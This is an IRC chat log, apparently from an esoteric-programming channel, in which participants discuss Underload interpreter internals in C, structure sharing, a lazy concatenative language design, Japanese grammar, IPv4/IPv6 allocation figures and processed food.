01:14:39 <pikhq> ... O() notation is entirely theoretical. Jeebus.
01:14:42 <Lymia> It integrates with Java's libraries, and it's considered one of the purer Lisps?
01:14:57 <elliott_> Lymia: Well, it's concurrency-oriented, and its most common data structures are immutable.
01:15:15 <elliott_> The language itself is not entirely without merit, but JVM languages don't interest me in the slightly.
01:15:26 <elliott_> *slightest.
01:15:58 <oerjan> <elliott_> copumpkin: But, but, it's all OMG PERFORMANCE. <-- um bang patterns are entirely syntactic sugar
01:16:10 <elliott_> oerjan: But people who are OMG PERFORMANCE will USE BANG PATTERNS!
01:16:23 <elliott_> (Bang patterns: porn with OCD.)
01:16:52 <elliott_> Someone remind me to name my next esolang Ejuzarih.
01:16:57 <elliott_> Maybe I'll call my lazy concatenative language that.
01:18:06 <oerjan> <elliott_> Lymia: Their IRC channel have argued that O(log_32 n) != O(log n), or something of the sort, I forget what. <-- reminds me of some quote to the effect that O(log log n) is constant time (implying, in practice)
01:18:25 <elliott_> oerjan: Maybe if their tongues were firmly in their cheeks I'd forgive them :P
01:19:07 <Lymia> Hey!
01:19:21 <Lymia> O(1) is much slower than O(n!) for large enough values of O.
01:19:28 <Lymia> Like...
01:19:32 <elliott_> HURF DURF
01:19:39 <Lymia> for(;;) {}
01:19:40 <Lymia> See!
01:20:11 <elliott_> Lymia: (Anyway, it doesn't take a university education to understand big O notation; for time, O(...) simply means: calculating f(x) takes time proportional to k*... for some k.)
01:20:14 <elliott_> Err, that's a bit awkwardly worded.
01:20:23 <Lymia> I know that much.
01:20:30 <elliott_> Well, that's all there is to it.
01:20:36 <Lymia> I know the general idea, just not the details.
01:20:37 <Lymia> =p
01:20:50 <Lymia> Plus, I'm not in much of a thinking mood today, so...
01:21:02 <Lymia> (Blame me waking up at 8AM after going to bed at 3AM)
01:21:02 <elliott_> PSHT THEN WHY ARE YOU IN #ESOTERIC, THE MOST INTELLECTUAL CHANNEL ON ALL IRC
01:21:11 * Lymia hides
01:21:20 * elliott_ DONS TOP HAT WHAT HO
01:21:29 * Lymia puts elliott_ in a frilly dress~
01:21:32 <oerjan> HERP DERP
01:21:40 <elliott_> THAT IS NOT SUITABLE ACCOMPANIMENT TO A TOP HAT
01:21:55 <Lymia> Yes it is.
01:22:08 <elliott_> BY WHAT LOGIC
01:22:25 <Lymia> Frilly dresses go with everything
01:22:34 <elliott_> YOUR LOGIC IS NOT COMPELLING
01:22:44 * Lymia removes tophat
01:22:51 <elliott_> :|
01:25:54 <Sgeo> Just because some Clojure people are idiots doesn't mean they all are
01:26:16 <Sgeo> The only criticism I know of against the language itself is that it's not Lisp all the way down
01:26:31 <Sgeo> Oh, and no TCO partly due to that
01:26:37 <Sgeo> Which sucks major suckage
01:28:47 <Lymia> Sgeo, recursion resulting a stack overflow?
01:28:48 <Lymia> Fun!
01:30:21 <elliott_> oerjan: hm I think my impl is quite unique among underload interpreters as distinguishing between code and data sort of
01:30:27 <elliott_> except that code pushes data which will later be treat as code :)
01:30:45 <Sgeo> <***someone***> Sgeo: in the mean time there are solid tools to write tail-call style code, and it performs at least as well as Racket (which isn't slow) as far I can tell.
01:31:14 <elliott_> hmm, 28 bytes per object...might be acceptable
01:33:14 <Lymia> elliott.
01:33:27 <Lymia> Write an underload interpreter in Underload.
01:33:30 <Lymia> Without the eval operator.
01:33:49 <elliott_> Lymia: Every program in Underload uses the eval operator.
01:33:50 <elliott_> It is unavoidable.
01:33:55 <Lymia> :(
01:34:00 <Lymia> Without running eval on the input?
01:34:31 <elliott_> Underload has no input.
01:34:33 * elliott_ snarkin'
01:35:23 * Lymia hugs elliott_ <3
01:40:55 -!- pikhq_ has joined.
01:40:57 -!- pikhq has quit (Ping timeout: 250 seconds).
01:45:44 <elliott_> r->t=CHURCH; r->i=p->i*q->i; r->p=cat(p->p,q->p);
01:45:55 <elliott_> I REFUSE TO LET THIS PROGRAM BE 100X LONGER THAN THE EQUIVALENT HASKELL
01:48:53 <elliott_> oerjan: hm i'm not going to get very good structure sharing if (a)(b)* duplicates a, am i...
01:49:00 <elliott_> oh wait, it will end up duplicating b, as well
01:55:45 * variable is writing a Piet interpreter in python
01:56:35 <elliott_> OK, derlo is utterly incomprehensible
01:56:58 <elliott_> oerjan: i don't think derlo does structure sharing. well it does. but how can it...
01:57:17 <elliott_> afaict, (a)(X):(*)dip(y)* should make the (aX) become (AXy)
01:57:20 <elliott_> *(aXy)
02:03:08 -!- yorick has joined.
02:11:08 <Gregor> Deewiant: Hm ... is allegro also a train?
02:11:13 <Deewiant> Yese
02:11:14 <Deewiant> -e
02:11:20 <Gregor> Oh :P
02:11:47 <Gregor> I actually looked up pendolino, but with allegro I assumed you'd dropped the train vibe and went with tempos (or more broadly musical terms) instead for some reason :P
02:12:22 <Deewiant> Yes, I was a bit hesitant about the name for that reason :-P
02:14:26 <elliott_> I can't wait until Deewiant has to start trainspotting to come up with new names
02:14:41 <pikhq_> So, I apparently have free Amazon instant streaming.
02:15:22 <pikhq_> (because I have free Amazon Prime)
02:15:51 <elliott_> ...I could use catn for the stack... NO, elliott, bad elliott.
02:16:44 <pikhq_> If only it offered anything over Netflix, which I have *effectively* for free, as well.
02:17:50 <pikhq_> Ah well. More of this "viable business model for video" thing.
02:18:33 -!- augur has quit (Ping timeout: 272 seconds).
02:21:43 <oerjan> <elliott_> oerjan: i don't think derlo does structure sharing. well it does. but how can it... <-- maybe it just shares quoted elements, that might help too
02:21:57 <elliott_> oerjan: what do you mean?
02:24:24 <oerjan> <<elliott_> afaict, (a)(X):(*)dip(y)* should make the (aX) become (AXy) <-- no, it would afaict make (aX)(Xy)
02:24:35 <elliott_> oerjan: I mean in derlo
02:24:40 <elliott_> if it did structure-sharing
02:24:42 <elliott_> properly, that is
02:24:45 <elliott_> so i conclude that it doesn't
02:25:42 <oerjan> um i mean the program produces (aX)(Xy), so obviously there should be no (aXy) there
02:26:09 <elliott_> oerjan: no shit
02:26:16 <elliott_> oerjan: it was how i decided that derlo can't do proper structure sharing
02:26:31 <elliott_> oerjan: because if it did it would produce that
02:26:54 * oerjan has no idea what elliott_ is talking about
02:27:12 <elliott_> oerjan: wtf is hard to understand about this?!?!
02:27:15 <elliott_> I looked at derlo's structures
02:27:17 <elliott_> and concluded that
02:27:19 <elliott_> if it did full structure sharing
02:27:24 <elliott_> (a)(X):(*)dip(y)*
02:27:26 <oerjan> elliott_: for the former, i mean if it concatenates ((a)b) and (c) then it might not share the top level of ((a)bc) but the (a) would still be shared
02:27:31 <elliott_> would have the INCORRECT BEHAVIOUR
02:27:43 <elliott_> oerjan: right, so the (a) would be shared
02:27:46 <elliott_> so concatenating (y) on to it
02:27:50 <elliott_> would affect the other (a) too
02:27:54 <elliott_> with derlo's structure
02:28:29 <oerjan> elliott_: well you obviously cannot do proper structure sharing if all your list are arrays of each element in it
02:28:37 <elliott_> oerjan: what?
02:28:49 <elliott_> oerjan: I have no idea what you are talking about
02:28:50 <oerjan> elliott_: what is derlo's structure anyway
02:29:05 <elliott_> typedef struct tag_el {
02:29:05 <elliott_> int_least32_t val; /* character, or a special value if negative */
02:29:05 <elliott_> size_t refcount; /* reference count from inner, next, or globals */
02:29:13 <elliott_> if ->inner=x, and x is also on the stack, and you set x->next
02:29:21 <elliott_> then ->inner->next will be set too
02:29:26 <elliott_> of some random element containing x
02:30:35 <oerjan> anyway structure sharing is obviously incompatible with mutation
02:30:40 <elliott_> argh
02:30:41 <elliott_> it did not send the structure
02:30:45 <elliott_> <elliott_> typedef struct tag_el {
02:30:45 <elliott_> <elliott_> int_least32_t val; /* character, or a special value if negative */
02:30:45 <elliott_> <elliott_> size_t refcount; /* reference count from inner, next, or globals */
02:30:50 <elliott_> <elliott_> } el
02:30:54 <elliott_> fuck
02:30:56 <elliott_> fuckity fuck
02:30:58 <elliott_> ---START HERE
02:31:00 <elliott_> <elliott_> typedef struct tag_el {
02:31:02 <elliott_> <elliott_> int_least32_t val; /* character, or a special value if negative */
02:31:04 <elliott_> <elliott_> size_t refcount; /* reference count from inner, next, or globals */
02:31:06 <elliott_> <elliott_> /* this counts the number of locations referencing, even if they're
02:31:07 <elliott_> <elliott_> referenced multiple times themselves they only count as 1 */
02:31:09 <elliott_> <elliott_> struct tag_el* next; /* the element after this one */
02:31:12 <elliott_> <elliott_> struct tag_el* inner; /* the element inside this one, if val is negative */
02:31:14 <elliott_> <elliott_> } el;
02:31:16 <elliott_> <elliott_> if ->inner=x, and x is also on the stack, and you set x->next
02:31:18 <elliott_> <elliott_> then ->inner->next will be set too
02:31:19 <elliott_> <elliott_> of some random element containing x
02:31:24 <elliott_> oerjan: well exactly.
02:31:25 <elliott_> oerjan: but the point is that mutation is what derlo does
02:31:37 <oerjan> elliott_: yeah i guessed
02:31:42 <elliott_> although not always, i guess:
02:31:42 <elliott_> /* Tailcat optimisation: if nothing else is using the stack
02:31:42 <elliott_> element we're catting to, just change its next pointer to do
02:31:56 <oerjan> aha
02:32:08 <elliott_> oerjan: what i'm trying to say is, fuck derlo is twisty.
02:32:49 <oerjan> ok so it does structure sharing only with unique values
02:33:00 <oerjan> sounds like Clean :D
02:33:39 <elliott_> oerjan: btw have i rambled to you yet about my idea for a lazy concatenative language
02:33:49 <oerjan> vaguely possibly
02:33:55 <elliott_> oerjan: that's a no then. may I? :-P
02:35:00 <oerjan> i mean i vaguely recall something about someone mentioning evaluating a concatenative language like that
02:35:03 <oerjan> recently
02:35:15 <oerjan> that's evaluation from the end, naturally
02:35:24 <elliott_> oerjan: oh, that was me about underload
02:35:31 <elliott_> yeah, i'm talking about left-to-right, normal style
02:35:41 <elliott_> oerjan: it's really quite simple -- we make the language typed like Cat, so the stack effect of any word is known
02:35:52 <elliott_> now consider a word "foo" taking two params and pushing one
02:35:53 <elliott_> and this program
02:35:59 <elliott_> 1 2 3 foo 4
02:36:04 <elliott_> now this trace, with "stack|prog":
02:36:07 <elliott_> 1 | 2 3 foo 4
02:36:10 <elliott_> 1 2 | 3 foo 4
02:36:15 <elliott_> 1 2 3 | foo 4
02:36:27 <elliott_> 1 <2 wide -- [2 3 foo]> | 4
02:36:29 -!- azaq23 has quit (Quit: Leaving.).
02:36:29 <elliott_> 1 <2 wide -- [2 3 foo]> 4 |
02:36:50 <elliott_> oerjan: basically you gobble up the top N stack elements into a quotation, put the word in, and then mark the result number of stack elements with the sufficient number of placeholders
02:36:53 <oerjan> ah if you have typed stack effects you can sometimes look at other stack elements without evaluating an intervening program
02:37:00 <elliott_> precisely
02:37:13 <elliott_> obviously, looking inside that 2 wide will turn it into e.g.
02:37:21 <elliott_> 1 (2:...) (3:...) 4
02:37:31 <elliott_> (if we say that foo is "put both args into infinite lists")
02:37:37 <elliott_> and so on
02:37:50 <oerjan> hm there might even be a way to do this without types
02:38:11 <elliott_> oerjan: well if you can determine how many pops and pushes a word does (in sum, that is) without evaluating it then sure
02:38:14 <oerjan> if foo returned a promise to the stack instead of evaluating completely
02:38:19 <elliott_> oerjan: basically i want to make a purely-functional, lazy concatenative language
02:38:23 <elliott_> to show that it can be as elegant as haskell
02:38:24 <oerjan> a promise of an element
02:38:37 <elliott_> oerjan: well, indeed
02:38:45 <elliott_> oerjan: but that's basically manual types and laziness
02:38:50 <elliott_> you push your "type"
02:38:52 <oerjan> hm probably
02:38:55 <elliott_> which also serves as the lazy value
02:39:54 <elliott_> hmm my "a" is a bit heavy-weight
02:40:27 <elliott_> x -> {type=QUOTE, p={{type=PUSH, value=x}}}
02:40:42 <elliott_> i wonder if I could benefit from an "enclose" object type
02:40:57 <elliott_> I'd try it, except that it won't work for parsed programs
02:41:01 <elliott_> well i could maybe make it work.
02:41:05 <elliott_> i'll try it out.
02:43:22 <elliott_> /* Tailcat optimisation on the call stack; replace the return at
02:43:22 <elliott_> the end of the called code with a goto, as long as it isn't
02:43:22 <elliott_> used anywhere else */
02:43:36 <elliott_> oerjan: heh derlo is a bit insane...
02:43:42 <elliott_> oerjan: it seems it actually optimises that for /later/ as well as now
02:43:54 <elliott_> oh wait
02:43:58 <elliott_> ^ actually cats the program rather than recursing
02:47:20 <elliott_> oerjan: I think relief-in-C is shaping up quite well; I'm dreading porting your church function though
02:47:32 <oerjan> *MWAHAHAHA*
02:51:17 <elliott_> oerjan: can i get a grant for this research
02:51:31 <oerjan> not from me, sorry
02:54:29 <oerjan> i assume you understand the general idea of what church' does
02:58:32 <elliott_> oerjan: well GENERAL
02:59:33 -!- augur has joined.
03:00:40 <elliott_> oerjan: may i just say that i am NOT thrilled at the idea of having to use bignums in c
03:00:48 <oerjan> hm
03:00:59 <elliott_> shit, i swear to god, this is the one program that would be more convenient in C++ than C
03:01:21 <Gregor> O_O
03:01:33 <Gregor> How 'bout Vala :P
03:01:37 <elliott_> Gregor: No, seriously, it would be
03:02:05 <elliott_> Gregor: I have what is EXACTLY a subtyping relationship of a few structs (that I am currently wasting memory and mushing together by making them one struct and reappropriating one field for various things).
03:02:12 <Gregor> If you do use C++, you should use WTF instead of STL.
03:02:19 <elliott_> Gregor: I have a requirement to use bignums, and of course operator overloading would help.
03:02:30 <elliott_> I have functions that have wildly different behaviour depending on the type field of their arguments.
03:02:41 <elliott_> OK, so really what it's suited for is Haskell.
03:02:47 <elliott_> But I'm trying to micro-optimise here :P
03:03:48 <elliott_> Gregor: Is WTF actually a thing.
03:04:07 <elliott_> Oh, a WebKit thing :-P
03:04:09 <Gregor> elliott_: WTF is the Webkit Template Framework
03:04:12 <elliott_> Hmm, theory: People who don't know C++ are better C++ programmers than C++ programmers.
03:04:23 <elliott_> Because, man... C++ is terrible.
03:10:52 <pikhq_> elliott_: Exception, Our Lord Oleg.
03:11:08 <pikhq_> But, well, Oleg is better than you.
03:12:00 <elliott_> oerjan: erm wait what's the cat formula for (a)(b)^ church numerals again
03:12:03 <elliott_> a, repeated b times?
03:12:03 <Sgeo> MY EYES
03:12:08 <Sgeo> MY POOR USELESS EYES
03:12:09 <Sgeo> http://people.csail.mit.edu/jrb/goo/
03:12:30 <pikhq_> THE GOGGLES, THEY DO NOTHING
03:13:55 <elliott_> pikhq_: ?
03:14:03 <oerjan> elliott_: yes
03:14:14 * Sgeo sads at elliott_ ignorage
03:14:40 <pikhq_> elliott_: Sgeo linkage.
03:14:43 <elliott_> oh
03:15:06 <pikhq_> elliott_: Nothing NSFW or eye-bleachy, just a painful color scheme.
03:15:08 <Gregor> That page would be totally unoffensive if the text was in a box with a solid background, and the weird background was behind that.
03:15:28 <elliott_> if(x->t==CHURCH) {
03:15:29 <elliott_> y=new(); y->t=CHURCH; y->i=1;
03:15:29 <elliott_> for(size_t i=0; i<o->i; i++) y->i *= x->i;
03:15:33 <elliott_> }
03:15:35 <elliott_> equivalent haskel
03:15:37 <elliott_> *haskell
03:15:39 <elliott_> call (Church n p) !(Church m q : xs) = return (Church (m^n) (Rept n q) : xs)
03:15:41 <elliott_> fuuuuuck C
03:15:49 <elliott_> oh and the haskell does bignums too obviously. because haskell is a real language
03:16:14 <elliott_> not a pdp assembler with an identity crisis after a sex - sorry, syntax change
03:16:24 <elliott_> pikhq_: Oh, the Goo site.
03:16:26 <elliott_> I *like* it.
03:16:27 <elliott_> Well, okay.
03:16:30 <elliott_> So the text isn't particularly readable.
03:16:37 <elliott_> But it has CHARM.
03:16:50 <elliott_> Sgeo: Goo hasn't been updated since 2005. (gotta keep Sgeo away from all the intelligent languages)
03:16:55 <pikhq_> Geocities chic?
03:17:03 <elliott_> pikhq_: :(
03:17:06 <pikhq_> You'd fucking *love* Japanese websites, then.
03:17:06 <elliott_> you make such horrible statements!
03:17:58 <pikhq_> Seriously, I'm convinced the Japanese forget about graphic design when they get on the Internet.
03:18:37 <pikhq_> Maybe it has something to do with how Japanese Geocities still exists?
03:19:23 <Ilari> Hmm. Wonder how many addresses has China allocated in last year (365 days)?
03:19:48 <pikhq_> Yes, geocities.co.jp exists *and* is reasonably well-used.
03:20:58 <elliott_> relief.c:202: error: expected identifier or ‘(’ before ‘}’ token
03:20:58 <elliott_> THAT'S SO HELPFUL
03:22:06 <pikhq_> Offering a whole *fifty megabytes* of hosting space.
03:22:21 <pikhq_> (1GB for ¥525 a month)
03:23:20 <Ilari> 64 850 688 (3.865 blocks).
03:24:54 <Ilari> On IPv6 front: 22 020 098 /48s.
03:28:35 <Ilari> All-time grand total for China: IPv4: 300 715 776 IPv6: 26 411 013
03:33:35 <elliott_> oerjan: i bet when i finish with this
03:33:38 <elliott_> oerjan: i'll tell ais and he'll be all
03:33:48 <elliott_> oh yeah i wrote a version of derlo that optimised church numerals a few months ago
03:33:52 <elliott_> it does underlambda too
03:33:58 <elliott_> and shares every fuckin' structure
03:34:31 <oerjan> THAT'S WHEN WE BAN HIM
03:34:43 <elliott_> agree
03:35:02 <oerjan> unless he promises never to mention anything he wrote unless he includes a working URL
03:36:01 <elliott_> :D
03:36:17 <elliott_> oerjan: i bet when he dies
03:36:19 <elliott_> it's gonna be all
03:36:26 <elliott_> "shit he has fifty terabyte disks here"
03:36:31 <elliott_> "Wtf are they filled with, porn?"
03:36:35 <elliott_> "no... code and language specs"
03:36:39 <pikhq_> :D
03:36:51 <oerjan> and a P=NP proof he'd forgotten all about
03:37:25 <oerjan> (yes ais523's demise will cause the DEATH of the internet)
03:41:19 <elliott_> hey oerjan
03:41:22 <elliott_> are you the reason gcc hates me?
03:41:23 <elliott_> :(
03:41:46 <oerjan> i don't know
03:41:52 <elliott_> oh gosh i fixed it
03:41:53 <elliott_> oerjan: i guess not
03:44:45 <elliott_> oerjan: well I _do_ know that ais has an underlambda implementation.
03:44:53 <elliott_> the sneaky bastard. :D
03:45:10 <elliott_> maybe he _does_ have a proof that p=np
03:45:13 <elliott_> and hasn't forgotten it
03:45:14 <elliott_> maybe he just hates us.
03:47:05 * oerjan thinks ais523 writes a _teeny_ bit verbosely
03:47:32 <elliott_> oerjan: why do you mention that? is it "SPILL THE BEANS ABOUT YOUR AIS523-RELATED FEELINGS" day? :P
03:47:46 <oerjan> because i'm reading the Checkout page
03:47:48 <elliott_> or do you mean his new lang
03:47:48 <elliott_> right
03:48:12 <elliott_> oerjan: the trick with ais' text
03:48:19 <elliott_> is for every 3 sentences
03:48:20 <elliott_> skip one
03:48:23 <oerjan> it's large enough that i almost tl;dr
03:48:26 <pikhq_> http://en.wikipedia.org/wiki/File:Kraftparmesan.jpg Am I the only one somewhat disturbed by this shit?
03:48:27 <elliott_> or if they seem quite long, skip every other sentence
03:48:30 <elliott_> you will miss nothing
03:48:46 <elliott_> if the sentences are TRULY GIGANTIC, skip half of every sentence, and skip one whole sentence for every 3 sentences
03:49:09 <oerjan> elliott_: well i'm trying to proofread a little simultaneously
03:49:19 <elliott_> oerjan: i pity your soul
03:49:24 <pikhq_> Yes? Okay. Everyone else loves processed psuedofood.
03:49:27 <pikhq_> Explains a lot.
03:49:30 <elliott_> pikhq_: Clearly.
03:49:42 <elliott_> You and Ilari -> ##nutrition :P
03:49:50 <elliott_> Oh wow
03:49:51 <elliott_> It actually exists
03:49:52 <elliott_> Lucky you
03:50:02 <elliott_> "RULES: Stay on topic. No idling >60d."
03:50:03 <pikhq_> elliott_: I'm not even a nutrition nut, I just want my food to not taste like shit!
03:50:04 <elliott_> Is d days here?
03:50:08 <elliott_> You're not allowed to idle for more than 60 days?
03:50:18 <elliott_> :what the fuck is this shit:
03:50:25 <Ilari> Global RIR-allocated IPv6 space: 9 622 829 006
03:50:43 <elliott_> ok so Ilari is now ipv6bot :D
03:51:14 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
03:51:22 <pikhq_> No, it's pence. You're not allowed to idle for more than 60 pence.
03:51:24 <elliott_> Ilari: !rirdepletion
03:52:15 <Ilari> pikhq_: Well, food tasting good and being nutrious tend to go together (wonder why?).
03:52:20 <Ilari> :-)
03:52:37 <elliott_> that's only necessarily true if you live like a caveman
03:52:54 <pikhq_> Ilari: Well, yes, there is that *tendency*.
03:53:54 <pikhq_> At least in that processed shit-food tastes much worse than the real stuff, and the real stuff does tend to be better for you.
03:54:02 <Ilari> Of course, the normal processed stuff is pumped full of sugar.
03:54:12 <pikhq_> Or salt.
03:54:20 <Ilari> Well, salt is much less harmful.
03:54:39 <pikhq_> Course, absurd amounts of salt have been a feature of human diets as long as we've been able to do that on a regular basis.
03:55:24 <pikhq_> I mean, shit, freaking applying enough salt to cause bacteria to die from osmosis was once one of the major meat preservation methods.
03:57:48 -!- Mathnerd314 has quit (Remote host closed the connection).
03:58:00 <Ilari> The dangers of sugar are commonly understated and the dangers of salt are commonly overstated.
03:58:30 <elliott_> Ilari still hasn't responded with the current RIR depletion stats!
03:58:56 <pikhq_> Ilari: Yeah, but both sugar and salt are freaking all over the place in factory food.
03:59:32 <pikhq_> Significantly more-so than any sanity would allow for.
04:00:29 <pikhq_> On the other hand... WHY THE FUCK DOES FREAKING BREAD HAVE CORN SYRUP IN IT. GOD.
04:00:33 <Ilari> Oh, and don't forget seed oils (at least screwed up with too much heat).
04:01:34 <pikhq_> ... Man. It has corn syrup in it but it's blander than anything else. That's worrisome.
04:02:26 <pikhq_> How the hell do they even make bread flavorless, anyways?
04:02:27 <Ilari> If not screwed up more by hardening it.
04:02:50 <pikhq_> You can literally bake a mix of water and flour and it'll have more flavor.
04:03:16 <pikhq_> Course, you then have hardtack, but hey.
04:03:47 <elliott_> okay right it is time for me to become unconscious \o/
04:03:47 <myndzi> |
04:03:48 <myndzi> >\
04:03:49 -!- elliott_ has quit (Quit: Leaving).
04:04:48 <Ilari> As to why it has corn syrup: It is so bad-tasting otherwise that it wouldn't sell? Or trying to make people consume more of it?
04:06:13 <pikhq_> Or maybe they just want it to rise faster.
04:06:16 <pikhq_> Yeast ♥ sugar.
04:07:29 <Ilari> Ah yeah.
04:07:45 <quintopia> except sucrose
04:08:30 <Ilari> BTW: The real corn syrup doesn't have fructose in it. It only gets fructose by enzymatic action.
04:08:39 <pikhq_> Well, high fructose corn syrup is, ah, high in fructose.
04:08:53 <pikhq_> Not to mention that the rest of it is glucose.
04:09:43 <Ilari> The amount of fructose by weight in HFCS varies something like 45-90%, usually being about 55-60%
04:09:46 <pikhq_> Ilari: The real corn syrup itself is a chemical product...
04:11:17 <pikhq_> Originally HCl, now a bunch of enzymes.
04:11:34 <Ilari> Well, it is mostly glucose and water. Plus a bunch of impurities.
04:15:36 <Ilari> HCl isn
04:16:33 <Ilari> HCl isn't very "fun" on the scale of chemicals used in producing "food". There's stuff like Hexane (from gasoline!) and Sodum Hydroxide (NaOH) used in producing seed oils.
04:17:36 <pikhq_> Lye isn't *too* weird in food production, y'know.
04:17:40 <pikhq_> I mean, there's...
04:17:42 <pikhq_> Lutefisk.
04:17:47 <pikhq_> Oh, fuck, never mind. :P
04:18:29 <Ilari> Actually, that isn't the only food that involves lye when cooking.
04:18:46 <pikhq_> I know, just the most notorious.
04:18:56 <Ilari> Apparently cooking with lye improves the mineral profile of at least some foods.
04:18:58 <pikhq_> What with it *actually being caustic* and all.
04:22:01 <oerjan> while "readonlyly" looks barely possible as an adverb, allowing it to stay would make it only about the 9th google hit so i assume it's a typo for "readonly".
04:23:51 <pikhq_> That's... Not adverby.
04:24:12 <pikhq_> I'm not entirely sure what would be an adverbial form of that, actually.
04:24:14 <oerjan> well it's a sort of adjective with -ly appended
04:24:35 <oerjan> it's just that the adjective already ends in -ly
04:24:40 <pikhq_> I could make it into an adverb in Japanese, but that's trivial.
04:25:10 <oerjan> RIDONURIRU DESU
04:25:21 <pikhq_> Close.
04:25:50 <oerjan> i guess the "DESU" might be wrong XD
04:25:52 <pikhq_> "Riidonri-teki ni" desu.
04:26:16 <oerjan> ack
04:26:41 <pikhq_> ("n" is the *only* mora in Japanese without a vowel)
04:26:52 <oerjan> i really knew that
04:28:44 <pikhq_> Also, I only just now had the connection that the term "adverb" applies to Japanese at all. XD
04:29:07 <pikhq_> "... Wait, that actually... Is an adverb. Hmm. Hooray, not-formally-learned grammar."
04:36:46 -!- TLUL has joined.
04:53:45 -!- augur has quit (Remote host closed the connection).
05:00:14 -!- watweewoo has joined.
05:00:35 -!- watweewoo has left (?).
05:00:47 -!- watweewoo has joined.
05:01:23 <watweewoo> x
05:03:22 -!- watweewoo has left (?).
05:14:12 -!- Sgeo_ has joined.
05:14:47 -!- augur has joined.
05:17:42 -!- Sgeo has quit (Ping timeout: 272 seconds).
05:17:57 -!- Sgeo__ has joined.
05:18:52 <Ilari> Potaroo says that globally there are 443 137 736 free IPv4 addresses (337 665 542 193 free IPv6 in RIR pools, plus 34 837 083 717 632 in IANA pool).
05:21:16 -!- Sgeo_ has quit (Ping timeout: 268 seconds).
05:25:32 <Ilari> Err. IPv4Depletion says 29 558 976 IPv4 addresses allocated in last 30 days. Compare this with earlier figure of 20 719 616 for APNIC last 30 days.
05:26:23 <Ilari> That would be APNIC allocating over 2/3 of the IP space.
05:31:59 -!- tvs_ has quit (Ping timeout: 272 seconds).
05:32:02 <pikhq_> Jeeze.
05:32:23 <coppro> uh, isn't IANA's pool empty?
05:32:45 <Ilari> IPv4 IANA pool is. IPv6 IANA pool is at 99%.
05:32:52 <coppro> oh, misread
05:33:34 <coppro> pikhq_: wait, in Japanese, n is actually a mora? I thought it was just a modifier to another mora
05:35:18 <pikhq_> coppro: No, it's a mora.
05:35:57 <oerjan> um i vaguely recall, aren't geminated consonants moras too
05:36:18 <pikhq_> Yes, gemination is also a mora.
05:36:24 <pikhq_> ... Fek.
05:36:49 <pikhq_> coppro: Also, slightly random, but: y'know the whole haiku syllable pattern thing?
05:36:53 <pikhq_> That's entirely wrong.
05:37:04 <pikhq_> Haiku has 5 morae/7 morae/5 morae.
05:37:17 <pikhq_> Not syllables. Japanese doesn't give a fuck about syllables.
05:37:28 <coppro> yep
05:38:27 <pikhq_> Probably because the pronunciation of Japanese is such that each mora is pronounced with roughly equal timing.
05:38:47 <coppro> right
05:41:00 <Ilari> This month (according to latest data, IPv4/IPv6): AfriNIC: 12 800 / 393 218 LACNIC: 210 688 / 1 703 936 RIPE: 3 183 888 / 33 161 254 ARIN: 5 235 456 / 21 694 831 APNIC: 11 642 880 / 3 670 029 Total: 20 285 712 / 60 623 268.
05:42:45 <pikhq_> Huh, APNIC is the only RIR to not allocate more IPv6 (/48s?) than IPv4 addresses.
05:43:15 <Ilari> Well, RIPE and ARIN both gave out a nice /24 (most likely to some NIR/LIR).
05:43:27 <pikhq_> *Aaaah*.
05:43:31 <pikhq_> What about AfriNIC?
05:44:03 <Ilari> Couple /32s (ISPs likely) plus /47(?)
05:44:22 <oerjan> well the north african countries are busy shutting down the internet, aren't they >:)
05:45:45 <pikhq_> Ilari: A /47 could be a single entity that's multihomed, I guess.
05:46:08 <pikhq_> (and so has an AS number, and so can actually get allocations personally)
05:46:13 <Ilari> LACNIC: 1x/28 (larger ISP?) plus 10x/32 (ISPs?)
05:48:58 <Ilari> The IPv4Depletion large alloc list: apnic, arin, apnic, apnic, apnic, apnic, apnic, apnic, apnic, apnic, apnic, apnic, apnic, apnic, apnic, ripencc, apnic, apnic, apnic, arin, ripencc, ripencc, ripencc
06:00:02 <Ilari> Allocation entry counts: AfriNIC: 8/7, LACNIC: 8/11, RIPE: 453/217, ARIN: 128/121, APNIC: 130/58, Total: 727/414.
06:35:54 -!- pikhq has joined.
06:36:11 -!- pikhq_ has quit (Ping timeout: 272 seconds).
06:57:31 -!- oerjan has quit (Quit: leaving).
07:16:57 -!- pingveno has quit (*.net *.split).
07:16:58 -!- mycroftiv has quit (*.net *.split).
07:18:11 -!- Sgeo has joined.
07:21:46 -!- Sgeo__ has quit (Ping timeout: 272 seconds).
07:23:15 -!- pingveno has joined.
07:23:15 -!- mycroftiv has joined.
07:24:57 -!- TLUL has quit (Quit: *disappears in a puff of orange smoke*).
07:37:30 -!- Sgeo has quit (Read error: Connection reset by peer).
07:42:52 -!- boysetsfrog has joined.
07:51:05 -!- Sgeo has joined.
07:53:54 -!- Leonidas has quit (*.net *.split).
07:53:54 -!- fizzie has quit (*.net *.split).
07:53:54 -!- yiyus has quit (*.net *.split).
07:53:58 -!- pingveno has quit (*.net *.split).
07:53:59 -!- mycroftiv has quit (*.net *.split).
07:55:22 -!- pikhq_ has joined.
07:55:25 -!- pikhq has quit (Ping timeout: 246 seconds).
07:58:05 -!- Sgeo_ has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:02 -!- Leonidas has joined.
08:00:02 -!- fizzie has joined.
08:00:02 -!- yiyus has joined.
08:01:01 -!- Sgeo has quit (Ping timeout: 272 seconds).
08:05:40 -!- pingveno has joined.
08:05:40 -!- mycroftiv has joined.
08:36:46 -!- Sgeo has joined.
08:40:16 -!- Sgeo_ has quit (Ping timeout: 272 seconds).
09:06:12 <Ilari> Long-term growth rate of APNIC allocations seems to be about 19% per year.
09:10:11 -!- Sgeo_ has joined.
09:13:49 -!- Sgeo has quit (Ping timeout: 272 seconds).
09:44:50 -!- cheater- has quit (Ping timeout: 272 seconds).
09:46:41 -!- cheater- has joined.
10:05:44 -!- pikhq has joined.
10:06:09 -!- pikhq_ has quit (Ping timeout: 264 seconds).
11:43:35 -!- quintopia has quit (Ping timeout: 260 seconds).
11:46:12 -!- ais523 has joined.
11:47:10 -!- quintopia has joined.
11:47:10 -!- quintopia has quit (Changing host).
11:47:10 -!- quintopia has joined.
11:58:21 -!- ais523_ has joined.
11:59:34 -!- ais523 has quit (Disconnected by services).
12:00:04 -!- ais523_ has changed nick to ais523.
12:03:43 -!- quintopia has quit (Ping timeout: 268 seconds).
12:05:09 -!- quintopia has joined.
12:35:04 -!- pikhq has quit (Ping timeout: 240 seconds).
12:35:21 -!- pikhq has joined.
12:44:15 -!- nddrylliog has joined.
12:48:24 -!- augur has quit (Remote host closed the connection).
12:52:34 -!- oerjan has joined.
